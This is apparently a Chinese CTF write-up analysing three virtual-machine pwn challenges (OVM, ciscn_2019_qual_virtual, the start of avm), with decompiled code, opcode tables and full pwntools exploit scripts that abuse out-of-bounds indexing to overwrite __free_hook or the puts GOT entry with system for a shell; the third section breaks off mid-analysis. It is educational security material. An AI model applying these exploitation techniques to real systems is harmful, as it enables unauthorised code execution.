概述 VM pwn题目通常是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行
一般会有如下操作
初始化模拟的寄存器空间(reg)
初始化模拟的栈空间(stack)
初始化模拟的data段(data)
初始化模拟的opcode存储空间(text)
当用户输入指令后,该程序会根据自己设计的逻辑进行执行,这些空间全都是自己分配的而不是系统给的
一般的漏洞都是越界读取导致的,导致地址泄露,越界写入等
[OGeek2019 Final]OVM checksec 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine :~/桌面$ checksec ovm [*] '/home/yyyffff/桌面/ovm' Arch : amd64-64 -little RELRO : Full RELRO Stack : No canary found NX : NX enabled PIE : PIE enabled Stripped : No
IDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned __int16 v4; unsigned __int16 v5; unsigned __int16 v6; unsigned int v7; int i; comment = malloc (0x8Cu LL); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); signal(2 , signal_handler); write(1 , "WELCOME TO OVM PWN\n" , 0x16u LL); write(1 , "PC: " , 4uLL ); _isoc99_scanf("%hd" , &v5); getchar(); write(1 , "SP: " , 4uLL ); _isoc99_scanf("%hd" , &v6); getchar(); reg[13 ] = v6; reg[15 ] = v5; write(1 , "CODE SIZE: " , 0xBu LL); _isoc99_scanf("%hd" , &v4); getchar(); if ( v6 + (unsigned int )v4 > 0x10000 || !v4 ) { write(1 , "EXCEPTION\n" , 0xAu LL); exit (155 ); } write(1 , "CODE: " , 6uLL ); running = 1 ; for ( i = 0 ; v4 > i; ++i ) { _isoc99_scanf("%d" , &memory[v5 + i]); if ( (memory[i + v5] & 0xFF000000 ) == 0xFF000000 ) memory[i + v5] = 0xE0000000 ; getchar(); } while ( running ) { v7 = fetch(); execute(v7); } write(1 , "HOW DO YOU FEEL AT OVM?\n" , 0x1Bu LL); read(0 , comment, 0x8Cu LL); sendcomment((void *)comment); write(1 , "Bye\n" , 4uLL ); return 0 ; }
分析一下程序运行逻辑
首先输入PC,模拟指令寄存器运行
接着输入SP,模拟栈顶寄存器运行
然后输入CODE SIZE,也就是有多少条指令
接着循环输入CODE:到memory里面
接着循环fetch(取出指令)和execute(分析,执行)
fetch
1 2 3 4 5 6 7 8 __int64 fetch () { int v0; v0 = reg[15 ]; reg[15 ] = v0 + 1 ; return (unsigned int )memory[v0]; }
excute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 ssize_t __fastcall execute (int a1) { ssize_t result; unsigned __int8 v2; unsigned __int8 v3; unsigned __int8 v4; int i; v4 = (a1 & 0xF0000u ) >> 16 ; v3 = (unsigned __int16)(a1 & 0xF00 ) >> 8 ; v2 = a1 & 0xF ; result = HIBYTE(a1); if ( HIBYTE(a1) == 0x70 ) { result = (ssize_t )reg; reg[v4] = reg[v2] + reg[v3]; return result; } if ( HIBYTE(a1) > 0x70u ) { if ( HIBYTE(a1) == 0xB0 ) { result = (ssize_t )reg; reg[v4] = reg[v2] ^ reg[v3]; return result; } if ( HIBYTE(a1) > 0xB0u ) { if ( HIBYTE(a1) == 0xD0 ) { result = (ssize_t )reg; reg[v4] = (int )reg[v3] >> reg[v2]; return result; } if ( HIBYTE(a1) > 0xD0u ) { if ( HIBYTE(a1) == 0xE0 ) { running = 0 ; if ( !reg[13 ] ) return write(1 , "EXIT\n" , 5uLL ); } else if ( HIBYTE(a1) != 0xFF ) { return result; } running = 0 ; for ( i = 0 ; i <= 15 ; ++i ) printf ("R%d: %X\n" , (unsigned int )i, (unsigned int )reg[i]); return write(1 , "HALT\n" , 5uLL ); } else if ( HIBYTE(a1) == 0xC0 ) { result = (ssize_t )reg; reg[v4] = reg[v3] << reg[v2]; } } else { switch ( HIBYTE(a1) ) { case 0x90u : result = (ssize_t )reg; reg[v4] = reg[v2] & reg[v3]; break ; case 0xA0u : result = (ssize_t )reg; reg[v4] = reg[v2] | reg[v3]; break ; case 0x80u : result = (ssize_t )reg; reg[v4] = reg[v3] - reg[v2]; break ; } } } else if ( HIBYTE(a1) == 0x30 ) { result = (ssize_t )reg; reg[v4] = memory[reg[v2]]; } else if ( HIBYTE(a1) > 0x30u ) { switch ( HIBYTE(a1) ) { case 0x50u : LODWORD(result) = reg[13 ]; reg[13 ] = result + 1 ; result = (int )result; stack [(int )result] = reg[v4]; break ; case 0x60u : --reg[13 ]; result = (ssize_t )reg; reg[v4] = stack [reg[13 ]]; break ; case 0x40u : result = (ssize_t )memory; memory[reg[v2]] = reg[v4]; break ; } } else if ( HIBYTE(a1) == 0x10 ) { result = (ssize_t )reg; reg[v4] = (unsigned __int8)a1; } else if ( HIBYTE(a1) == 0x20 ) { result = (ssize_t )reg; reg[v4] = (_BYTE)a1 == 0 ; } return result; }
这里就是指令的解析和执行
解析:
opcode格式
操作码 | 目标寄存器 (v4)| 操作数2寄存器 (v3)| 操作数1寄存器(v2)
比如0x70020100
翻译:
0x70 加法
v4:2
v3:1
v2:0
操作:reg[2]=reg[1]+reg[0]
然后底下一大段代码就是来执行解析后的代码,结果如下
操作码
操作
0x70
reg[v4] = reg[v2] + reg[v3]
0xB0
reg[v4] = reg[v2] ^ reg[v3]
0xD0
reg[v4] = reg[v3] >> reg[v2]
0xE0
if !sp 就exit
0xFF
nop 打印寄存器
0xC0
reg[v4] = reg[v3] << reg[v2]
0x90
reg[v4] = reg[v2] & reg[v3]
0xA0
reg[v4] = reg[v2] | reg[v3]
0x80
reg[v4] = reg[v3] - reg[v2]
0x30
reg[v4] = memory[reg[v2]]
0x50(P)
进栈
0x60
出栈
0x40
memory[reg[v2]] = reg[v4]
0x10
reg[v4] = (unsigned __int8)a1(a1最低字节)
0x20
reg[v4] =((_BYTE)a1 == 0)
最后回到main函数有一个写入comment的操作还有sendcomment
1 2 3 4 void __fastcall sendcomment (void *a1) { free (a1); }
一个free的操作,大致上后面就是改freehook为system然后参数就是comment,待会儿在comment处写/bin/sh即可
内存排布
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 .got:0000000000201F F8 60 21 24 00 00 00 00 00 stderr_ptr dq offset stderr ; DATA XREF: main+4 D↑r .got:0000000000201F F8 _got ends .got:0000000000201F F8 .data:0000000000202000 ; =========================================================================== .data:0000000000202000 .data:0000000000202000 ; Segment type: Pure data .data:0000000000202000 ; Segment permissions: Read/Write .data:0000000000202000 _data segment qword public 'DATA' use64 .data:0000000000202000 assume cs:_data .data:0000000000202000 ;org 202000 h .data:0000000000202000 public __data_start ; weak .data:0000000000202000 00 __data_start db 0 ; Alternative name is '__data_start' .data:0000000000202000 ; data_start .data:0000000000202001 00 db 0 .data:0000000000202002 00 db 0 .data:0000000000202003 00 db 0 .data:0000000000202004 00 db 0 .data:0000000000202005 00 db 0 .data:0000000000202006 00 db 0 .data:0000000000202007 00 db 0 .data:0000000000202008 public __dso_handle .data:0000000000202008 ; void *_dso_handle .data:0000000000202008 08 20 20 00 00 00 00 00 __dso_handle dq offset __dso_handle ; DATA XREF: __do_global_dtors_aux+17 ↑r .data:0000000000202008 ; .data:__dso_handle↓o .data:0000000000202008 _data ends .data:0000000000202008 LOAD:0000000000202010 ; =========================================================================== LOAD:0000000000202010 LOAD:0000000000202010 ; Segment type: Pure data LOAD:0000000000202010 ; Segment permissions: Read/Write LOAD:0000000000202010 LOAD segment byte public 'DATA' use64 LOAD:0000000000202010 assume cs:LOAD LOAD:0000000000202010 ;org 202010 h LOAD:0000000000202010 public __bss_start LOAD:0000000000202010 ?? __bss_start db ? ; ; DATA XREF: LOAD:00000000000004 C0↑o LOAD:0000000000202010 ; LOAD:00000000000004F 0↑o LOAD:0000000000202010 ; deregister_tm_clones↑o LOAD:0000000000202010 ; register_tm_clones↑o LOAD:0000000000202010 ; register_tm_clones+7 ↑o LOAD:0000000000202010 ; Alternative name is '_edata' LOAD:0000000000202010 ; __TMC_END__ LOAD:0000000000202010 ; _edata LOAD:0000000000202010 ; __bss_start LOAD:0000000000202010 ; _edata LOAD:0000000000202011 ?? db ? ; LOAD:0000000000202012 ?? db ? ; LOAD:0000000000202013 ?? db ? ; LOAD:0000000000202014 ?? db ? ; LOAD:0000000000202015 ?? db ? ; LOAD:0000000000202016 ?? db ? ; LOAD:0000000000202017 ?? unk_202017 db ? ; ; DATA XREF: deregister_tm_clones+7 ↑o LOAD:0000000000202018 ?? db ? ; LOAD:0000000000202019 ?? db ? ; LOAD:000000000020201 A ?? db ? ; LOAD:000000000020201B ?? db ? ; LOAD:000000000020201 C ?? db ? ; LOAD:000000000020201 D ?? db ? ; LOAD:000000000020201 E ?? db ? ; LOAD:000000000020201F ?? db ? ; LOAD:000000000020201F LOAD ends LOAD:000000000020201F .bss:0000000000202020 ; =========================================================================== .bss:0000000000202020 .bss:0000000000202020 ; Segment type: Uninitialized .bss:0000000000202020 ; Segment permissions: Read/Write .bss:0000000000202020 _bss segment align_32 public 'BSS' use64 .bss:0000000000202020 assume cs:_bss .bss:0000000000202020 ;org 202020 h .bss:0000000000202020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing .bss:0000000000202020 ?? completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r .bss:0000000000202020 ; __do_global_dtors_aux+29 ↑w .bss:0000000000202021 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20 h .bss:0000000000202040 public comment .bss:0000000000202040 ?? comment db ? ; ; DATA XREF: main+15 ↑o .bss:0000000000202040 ; main+27 E↑o .bss:0000000000202040 ; main+29 A↑o .bss:0000000000202041 ?? db ? ; .bss:0000000000202042 ?? db ? ; .bss:0000000000202043 ?? db ? ; .bss:0000000000202044 ?? db ? ; .bss:0000000000202045 ?? db ? ; .bss:0000000000202046 ?? db ? ; .bss:0000000000202047 ?? db ? ; .bss:0000000000202048 ?? db ? ; .bss:0000000000202049 ?? db ? ; .bss:000000000020204 A ?? db ? ; .bss:000000000020204B ?? db ? ; .bss:000000000020204 C ?? db ? ; .bss:000000000020204 D ?? db ? ; .bss:000000000020204 E ?? db ? ; .bss:000000000020204F ?? db ? ; .bss:0000000000202050 ?? db ? ; .bss:0000000000202051 ?? db ? ; .bss:0000000000202052 ?? db ? ; .bss:0000000000202053 ?? db ? ; .bss:0000000000202054 ?? db ? ; .bss:0000000000202055 ?? db ? ; .bss:0000000000202056 ?? db ? ; .bss:0000000000202057 ?? db ? ; .bss:0000000000202058 ?? db ? ; .bss:0000000000202059 ?? db ? ; .bss:000000000020205 A ?? db ? ; .bss:000000000020205B ?? db ? ; .bss:000000000020205 C ?? db ? ; .bss:000000000020205 D ?? db ? ; .bss:000000000020205 E ?? db ? ; .bss:000000000020205F ?? db ? ; .bss:0000000000202060 public memory .bss:0000000000202060 ; _DWORD memory[65536 ] .bss:0000000000202060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+memory dd 10000 h dup (?) ; DATA XREF: fetch+1B ↑o
由于0x30,0x40对数组下标的解析不规范,我们可以用其来泄露地址和写入地址
首先泄露stderr,memory是dword类型的数组,一个单位4个字节,所以要到stderr就是(0x202060-0x201ff8)/4转换10进制就是26,所以memory[-26]是stderr低字节,memory[-25]是高字节
然后就是用这个地址搞到free_hook-8,至于偏移是多少,直接脚本里print(hex(libc.sym['__free\_hook']-libc.sym['stderr']))就可以了,然后这个偏移怎么构造,看底下的就好了
然后同样方法计算出comment和memory差距,发现memory[-8]是comment低字节,memory[-7]是高字节,写入即可
泄露stderr
reg[0]=26 r0=26
reg[1]=reg[1]-reg[0] r1=-26
reg[7]=memory[reg[1]] r7=stderr低字节
reg[0]=25 r0=25
reg[2]=reg[2]-reg[0] r2=-25
r[8]=memory[reg[2]] r8=stderr高字节
得到free_hook-8的地址,__free_hook比stderr大0x10a8,我们要得到freehook-8的大小,所以偏移是0x10a0,只要在低字节部分加上0x10a0即是freehook-8的地址
reg[0]=12 r0=12
reg[1]=1 r1=1
reg[2]=reg[1]<<reg[0] r2=1000
reg[3]=0xa0 r3=0xa0
reg[4]=reg[2]+reg[3] r4=0x10a0 偏移构造出来了
reg[6]=reg[4]+reg[7] r6为free_hook-8低字节
将得到的地址写到comment指针里面,分高低字节分别写入memory[-8]=r7,memory[-7]=r6,然后打印出寄存器,计算出free_hook-8,对应计算出libcbase然后system函数也可以得出
reg[0]=8
reg[1]=0
reg[1]=reg[1]-reg[0] r1=-8
memory[r[1]]=r[7] memory[-8]=r7
reg[0]=7
reg[1]=0
reg[1]=reg[1]-reg[0] r1=-7
memory[[r1]]=r[6] memory[-7]=r6
0xff
由于comment被我们改成了free_hook-8,我们在最后输入comment的时候就输入b’/bin/sh\x00’+p64(system)即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import * context.log_level='debug' libc=ELF('./libc-2.23.so' ) r=remote("node5.buuoj.cn" ,27431 )def opcode (code,v4,v3,v2 ): res=code<<24 res+=v4<<16 res+=v3<<8 res+=v2 return str (res) r.sendlineafter("PC: " ,"0" ) r.sendlineafter("SP: " ,"1" ) r.sendlineafter("CODE SIZE: " ,"21" ) r.recvuntil("CODE: " )''' 0x70reg[v4] = reg[v2] + reg[v3] 0xB0reg[v4] = reg[v2] ^ reg[v3] 0xD0reg[v4] = reg[v3] >> reg[v2] 0xE0if !sp 就exit 0xFFnop 0xC0reg[v4] = reg[v3] << reg[v2] 0x90reg[v4] = reg[v2] & reg[v3] 0xA0reg[v4] = reg[v2] | reg[v3] 0x80reg[v4] = reg[v3] - reg[v2] 0x30reg[v4] = memory[reg[v2]] 0x50(P)进栈0x60出栈 0x40memory[reg[v2]] = reg[v4] 0x10reg[v4] = (unsigned __int8)a1(a1最低字节) 0x20reg[v4] =((_BYTE)a1 == 0) ''' r.sendline(opcode(0x10 ,0 ,0 ,26 )) r.sendline(opcode(0x80 ,1 ,1 ,0 )) r.sendline(opcode(0x30 ,7 ,0 ,1 )) r.sendline(opcode(0x10 ,0 ,0 ,25 )) r.sendline(opcode(0x80 ,2 ,2 ,0 )) r.sendline(opcode(0x30 ,8 ,0 ,2 )) r.sendline(opcode(0x10 ,0 ,0 ,12 )) r.sendline(opcode(0x10 ,1 ,0 ,1 )) r.sendline(opcode(0xc0 ,2 ,1 ,0 )) r.sendline(opcode(0x10 ,3 ,0 ,0xa0 )) r.sendline(opcode(0x70 ,4 ,3 ,2 )) r.sendline(opcode(0x70 ,6 ,4 ,7 )) r.sendline(opcode(0x10 ,0 ,0 ,8 )) r.sendline(opcode(0x10 ,1 ,0 ,0 )) r.sendline(opcode(0x80 ,1 ,1 ,0 )) r.sendline(opcode(0x40 ,6 ,0 ,1 )) r.sendline(opcode(0x10 ,0 ,0 ,7 )) r.sendline(opcode(0x10 ,1 ,0 ,0 )) r.sendline(opcode(0x80 ,1 ,1 ,0 )) r.sendline(opcode(0x40 ,8 ,0 ,1 )) r.sendline(opcode(0xff ,0 ,0 ,0 )) r.recvuntil("R6: " ) low_addr=int (r.recvline().strip(),16 )print ("low->" ,hex (low_addr)) r.recvuntil("R8: " ) high_addr=int (r.recvline().strip(),16 )print ("high->" ,hex (high_addr)) free_hook=(high_addr<<32 )+low_addr+8 print ("free_hook->" ,hex (free_hook)) pause() libcbase=free_hook-libc.sym['__free_hook' ] system_addr=libcbase+libc.sym['system' ] r.recvuntil("HOW DO YOU FEEL AT OVM?\n" ) r.sendline(b'/bin/sh\x00' +p64(system_addr)) r.interactive()
ciscn_2019_qual_virtual 个人感觉难点在于将程序读懂,利用还是很好理解的
checksec 1 2 3 4 5 6 7 yyyffff@yyyffff-virtual-machine :~/桌面$ checksec vm2 [*] '/home/yyyffff/桌面/vm2' Arch : amd64-64 -little RELRO : Partial RELRO Stack : Canary found NX : NX enabled PIE : No PIE (0 x3ff000)
IDA main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *name; void **data; void **text; void **stack ; char *ptr; init_0(); name = (char *)malloc (0x20u LL); data = (void **)sub_4013B4(64 ); text = (void **)sub_4013B4(128 ); stack = (void **)sub_4013B4(64 ); ptr = (char *)malloc (0x400u LL); puts ("Your program name:" ); input((__int64)name, 0x20u ); puts ("Your instruction:" ); input((__int64)ptr, 0x400u ); sub_40161D((__int64)text, ptr); puts ("Your stack data:" ); input((__int64)ptr, 0x400u ); sub_40151A((__int64)data, ptr); if ( (unsigned int )sub_401967((__int64)text, (__int64)data, (__int64)stack ) ) { puts ("-------" ); puts (name); sub_4018CA((__int64)data); puts ("-------" ); } else { puts ("Your Program Crash :)" ); } free (ptr); sub_401381(text); sub_401381(data); sub_401381(stack ); return 0LL ; }
可以看到开头是开辟了几个空间
具体开辟的函数:sub_4013B4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 _DWORD *__fastcall sub_4013B4 (int a1) { _DWORD *ptr; void *s; ptr = malloc (0x10u LL); if ( !ptr ) return 0LL ; s = malloc (8LL * a1); if ( s ) { memset (s, 0 , 8LL * a1); *(_QWORD *)ptr = s; ptr[2 ] = a1; ptr[3 ] = -1 ; return ptr; } else { free (ptr); return 0LL ; } }
首先开辟了 0x10 的空间用来存放堆块信息
然后 s = malloc(8LL * a1);才是数据的空间
然后初始化,清空堆块,记录指针,大小以及用来索引的东西(初始值为 -1,代表此时该堆块空,不知道怎么描述,接下来就用 top 来描述这个)
如图为分配完的堆块
然后将 ptr 返回给用户,图片中就是 0x4056a0
输入完 name 后输入的是指令 (instruction)
首先会输入到 ptr 指针里,ptr 类似于一个缓冲区,然后会对指令进行拆分并存储到 text 里:sub_40161D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 void __fastcall sub_40161D (__int64 text, char *a2) { int v2; int i; const char *s1; _QWORD *ptr; if ( text ) { ptr = malloc (8LL * *(int *)(text + 8 )); v2 = 0 ; for ( s1 = strtok(a2, delim); v2 < *(_DWORD *)(text + 8 ) && s1; s1 = strtok(0LL , delim) ) { if ( !strcmp (s1, "push" ) ) { ptr[v2] = 17LL ; } else if ( !strcmp (s1, "pop" ) ) { ptr[v2] = 18LL ; } else if ( !strcmp (s1, "add" ) ) { ptr[v2] = 33LL ; } else if ( !strcmp (s1, "sub" ) ) { ptr[v2] = 34LL ; } else if ( !strcmp (s1, "mul" ) ) { ptr[v2] = 35LL ; } else if ( !strcmp (s1, "div" ) ) { ptr[v2] = 36LL ; } else if ( !strcmp (s1, "load" ) ) { ptr[v2] = 49LL ; } else if ( !strcmp (s1, "save" ) ) { ptr[v2] = 50LL ; } else { ptr[v2] = 255LL ; } ++v2; } for ( i = v2 - 1 ; i >= 0 && (unsigned int )write_value(text, ptr[i]); --i ) ; free (ptr); } }
stroke 是按照 delim 来拆分输入的,其中delim为\n\r\t就说明以换行回车tab作为分隔符,比如说我输入push push pop\n,他就可以将每个 push 或 pop 拆分出来存到 text 里
然后比对每个字符串,并赋值 ptr[v2] 为对应的操作码,存到 text 里,这里是逆序来存的,比如1 2 3 4 5存到里面就变成5 4 3 2 1。不过问题不大,因为后面取出数据也是从尾部取出的
然后是输入data里的数据:sub_40151A
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __fastcall sub_40151A (__int64 a1, char *a2) { int v2; int i; const char *nptr; _QWORD *ptr; if ( a1 ) { ptr = malloc (8LL * *(int *)(a1 + 8 )); v2 = 0 ; for ( nptr = strtok(a2, delim); v2 < *(_DWORD *)(a1 + 8 ) && nptr; nptr = strtok(0LL , delim) ) ptr[v2++] = atol(nptr); for ( i = v2 - 1 ; i >= 0 && (unsigned int )write_value(a1, ptr[i]); --i ) ; free (ptr); } }
其中方法跟解析指令那边差不多,不说了
接着来到操作:sub_401967
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __int64 __fastcall sub_401967 (__int64 text, __int64 data, __int64 stack ) { unsigned int v5; __int64 v6; v5 = 1 ; while ( v5 && (unsigned int )get_value(text, &v6) ) { switch ( v6 ) { case 17LL : v5 = push(stack , data); break ; case 18LL : v5 = pop(stack , data); break ; case 33LL : v5 = add(stack ); break ; case 34LL : v5 = sub(stack ); break ; case 35LL : v5 = mul(stack ); break ; case 36LL : v5 = div(stack , data); break ; case 49LL : v5 = load(stack ); break ; case 50LL : v5 = save(stack ); break ; default : v5 = 0 ; break ; } } return v5; }
首先从 text 段里面取出指令:get_value
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall sub_4014B4 (__int64 a1, _QWORD *a2) { if ( !a1 ) return 0LL ; if ( *(_DWORD *)(a1 + 12 ) == -1 ) return 0LL ; *a2 = *(_QWORD *)(*(_QWORD *)a1 + 8LL * (int )(*(_DWORD *)(a1 + 12 ))--); return 1LL ; }
将 a1 上的地址(也就是开始存放数据的地址)作基础,加上 top 索引的偏移
这里 a1+12 就是 top,最开始为-1的那个,每放入一个数据就 +1,所以是从尾部取出,跟逆序放入刚好对上了,每取出一个 top–
有 get_value 就有其对应的一个 write_value,用于将数据放入对应的空间之中
write_value:
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall sub_40144E (__int64 a1, __int64 a2) { int v3; if ( !a1 ) return 0LL ; v3 = *(_DWORD *)(a1 + 12 ) + 1 ; if ( v3 == *(_DWORD *)(a1 + 8 ) ) return 0LL ; *(_QWORD *)(*(_QWORD *)a1 + 8LL * v3) = a2; *(_DWORD *)(a1 + 12 ) = v3; return 1LL ; }
将数据写到 a1 的地址之中,这次是正序的写,接着更新 top(top++) 并存到对应位置之中
下面来看具体的操作
push
1 2 3 4 5 6 _BOOL8 __fastcall sub_401AAC (__int64 a1, __int64 a2) { __int64 v3; return (unsigned int )get_value(a2, &v3) && (unsigned int )write_value(a1, v3); }
从 a2 里取出一个数据存到临时变量 a3 里,然后将 a3 写入 a1,这里的 a1,a2 分别是 stack 和 data ,top++
pop
1 2 3 4 5 6 _BOOL8 __fastcall sub_401AF8 (__int64 a1, __int64 a2) { __int64 v3; return (unsigned int )get_value(a1, &v3) && (unsigned int )write_value(a2, v3); }
与 push 反过来,从 a1 取存进 a2,top–
add
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall sub_401B44 (__int64 a1) { __int64 v2; __int64 v3; if ( (unsigned int )get_value(a1, &v2) && (unsigned int )get_value(a1, &v3) ) return write_value(a1, v3 + v2); else return 0LL ; }
只接受 stack 一个参数,从其尾部取出两个数据相加再放进尾部 top 值–
sub
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall sub_401BA5 (__int64 a1) { __int64 v2; __int64 v3; if ( (unsigned int )get_value(a1, &v2) && (unsigned int )get_value(a1, &v3) ) return write_value(a1, v2 - v3); else return 0LL ; }
减法,类似 add,top–
mul
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall sub_401C06 (__int64 a1) { __int64 v2; __int64 v3; if ( (unsigned int )get_value(a1, &v2) && (unsigned int )get_value(a1, &v3) ) return write_value(a1, v3 * v2); else return 0LL ; }
乘法,类似 add,top–
div
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall div (__int64 a1) { __int64 v2; __int64 v3; if ( (unsigned int )get_value(a1, &v2) && (unsigned int )get_value(a1, &v3) ) return write_value(a1, v2 / v3); else return 0LL ; }
除法,类似 add,top–
load
1 2 3 4 5 6 7 8 9 __int64 __fastcall sub_401CCE (__int64 a1) { __int64 v2; if ( (unsigned int )get_value(a1, &v2) ) return write_value(a1, *(_QWORD *)(*(_QWORD *)a1 + 8 * (*(int *)(a1 + 12 ) + v2))); else return 0LL ; }
仅支持一个参数:stack,作用是从 stack 尾部取出一个数作为偏移 (v2),接着将 top+v2 处的地址写入 stack 里,top 值不变
由于对偏移没有限制,我们可以取出任意地址的数据
save
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall sub_401D37 (__int64 a1) { __int64 v2; __int64 v3; if ( !(unsigned int )get_value(a1, &v2) || !(unsigned int )get_value(a1, &v3) ) return 0LL ; *(_QWORD *)(8 * (*(int *)(a1 + 12 ) + v2) + *(_QWORD *)a1) = v3; return 1LL ; }
从 stack 尾部取出两个数,分别为 v2, v3,以 top+v2 作为偏移,将 v3 写入到该地址处,top-=2
由于对 v2 值没有限制,可以将 stack 上数据写入任意地址
利用 由于 got 表是 Partial RELRO,main 函数里还有一个 puts(name),我们可以将 name 输入成 /bin/sh\x00,然后将 puts 的 got 修改成 system,接下去调用的就是 system(“/bin/sh”) 了
首先需要将stack迁移到got表附近,具体操作是利用save函数将stack的指针修改到got表附近
1 2 3 4 5 6 7 8 9 10 11 12 13 0x404020 <puts@got.plt>: 0 x0000000000401046 0 x0000000000401056 0x404030 <printf@got.plt>: 0 x0000000000401066 0 x00007ffff7972970 0x404040 <alarm@got.plt>: 0 x00007ffff78cc200 0 x0000000000401096 0x404050 <strcmp@got.plt>: 0 x00000000004010a6 0 x00007ffff7884130 0x404060 <setvbuf@got.plt>: 0 x00007ffff786fe70 0 x00000000004010d6 0x404070 <strtok@got.plt>: 0 x00000000004010e6 0 x00000000004010f6 0x404080 <exit@got.plt>: 0 x0000000000401106 0 x0000000000000000 0x404090 : 0 x0000000000000000 0 x0000000000402004 0x4040a0 <stdout>: 0 x00007ffff7bc5620 0 x0000000000000000 0x4040b0 <stdin>: 0 x00007ffff7bc48e0 0 x0000000000000000 0x4040c0 <stderr>: 0 x00007ffff7bc5540 0 x0000000000000000 0x4040d0 : 0 x0000000000000000 0 x0000000000000000 0x4040e0 : 0 x0000000000000000 0 x0000000000000000
1 2 push push save 0x4040d0 -3
两个 push 将 0x4040d0 和 -3 压入 stack 中,此时 top 值为1,索引为-3
然后 save 两个 get_value 后top变为-1
接着索引 -1+(-3)=-4 刚好就是记录 stack 指针的位置,就可以将 0x4040d0写进去
操作结束 top=-1
接着读取 puts_got 的值
由于此时 top=-1,加上 -21 就是 -22 也就是 puts_got 的索引,这样就可以将puts_got 写到当前 stack
操作完 top=0
然后需要加上 puts_got 和 system 之间的偏移,就可以得到 system 地址
此时 top=0
然后将该地址写到 puts_got 即可
由于 save 会两次 get_value 会让 top-=2 变为 -1,所以偏移还是 -21 即可
效果:
接着运行就可以得到 flag 了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) r=process('./vm2' ) libc=ELF('./libc-2.23.so' ) r.sendlineafter("Your program name:\n" ,b'/bin/sh\x00' ) r.sendlineafter("Your instruction:\n" ,b'push push save push load push add push save' ) offset=libc.sym['puts' ]-libc.sym['system' ]print (hex (offset)) pause() r.sendlineafter("Your stack data:\n" ,str (0x4040d0 )+" " +str (-3 )+" " +str (-21 )+" " +str (-offset)+" " +str (-21 )) r.interactive() pause()
[长城杯 2024]avm checksec 1 2 3 4 5 6 7 8 9 yyyffff@yyyffff-virtual-machine :~/桌面/avm$ checksec pwn [*] '/home/yyyffff/桌面/avm/pwn' Arch : amd64-64 -little RELRO : Full RELRO Stack : Canary found NX : NX enabled PIE : PIE enabled SHSTK : Enabled IBT : Enabled
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char s[3080 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); sub_11E9(); memset (s, 0 , 0x300u LL); write(1 , "opcode: " , 8uLL ); read(0 , s, 0x300u LL); sub_1230(qword_40C0, (__int64)s, 768LL ); sub_19F1(qword_40C0); return v5 - __readfsqword(0x28u ); }
可以看到是输入opcode到s里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 _QWORD *__fastcall sub_1230 (_QWORD *a1, __int64 a2, __int64 a3) { _QWORD *result; int i; a1[33 ] = a2; a1[34 ] = a3; result = a1; a1[32 ] = 0LL ; for ( i = 0 ; i <= 31 ; ++i ) { result = a1; a1[i] = 0LL ; } return result; }
a1就是 main 函数里的 qword_40c0,一个bss段中的地址
a1[33] 改为输入的 opcode
a1[34]改为 768(可能是作为指令的最大长度,具体作用不清楚)
a1[32]改为0,这个是指令计数器,后面具体操作中会自增
接着将 a1[0~31] 全改成0,这是自己定义的寄存器
所以我们可以重新用IDA定义一个结构体,后文会看的更清晰
View->Open subviews->Local types->空白区域右键->Inseart->
1 2 3 4 5 6 7 struct vm_ctx { uint64_t regs[32 ]; uint64_t pc; uint64_t code_base; uint64_t code_size; };
